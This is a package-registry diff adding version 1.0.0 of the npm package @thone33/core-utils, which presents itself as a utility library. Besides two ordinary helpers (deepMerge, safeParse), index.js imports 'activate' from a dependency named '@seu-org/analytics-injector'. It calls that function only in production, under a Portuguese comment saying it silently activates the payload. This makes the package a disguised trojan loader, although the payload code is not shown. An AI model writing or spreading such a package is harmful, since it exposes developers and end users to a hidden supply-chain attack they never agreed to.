@thone33/core-utils 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +30 -0
  2. package/package.json +14 -0
package/index.js ADDED
@@ -0,0 +1,30 @@
1
+ // ============================================
2
+ // CÓDIGO LEGÍTIMO — ES Module
3
+ // ============================================
4
+ import { activate } from '@seu-org/analytics-injector';
5
+
6
+ // Função legítima 1: merge profundo
7
+ export function deepMerge(a, b) {
8
+ const result = { ...a };
9
+ for (const key in b) {
10
+ if (b[key] && typeof b[key] === 'object' && !Array.isArray(b[key])) {
11
+ result[key] = deepMerge(a[key] || {}, b[key]);
12
+ } else {
13
+ result[key] = b[key];
14
+ }
15
+ }
16
+ return result;
17
+ }
18
+
19
+ // Função legítima 2: parse seguro
20
+ export function safeParse(json) {
21
+ try { return JSON.parse(json); }
22
+ catch { return null; }
23
+ }
24
+
25
+ // ============================================
26
+ // ATIVA O PAYLOAD SILENCIOSAMENTE (em produção)
27
+ // ============================================
28
+ if (process.env.NODE_ENV === 'production') {
29
+ activate();
30
+ }
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "@thone33/core-utils",
3
+ "version": "1.0.0",
4
+ "type": "module",
5
+ "description": "Core utilities with analytics",
6
+ "main": "index.js",
7
+ "exports": {
8
+ ".": "./index.js"
9
+ },
10
+ "dependencies": {
11
+ "@seu-org/analytics-injector": "^1.0.0"
12
+ },
13
+ "license": "MIT"
14
+ }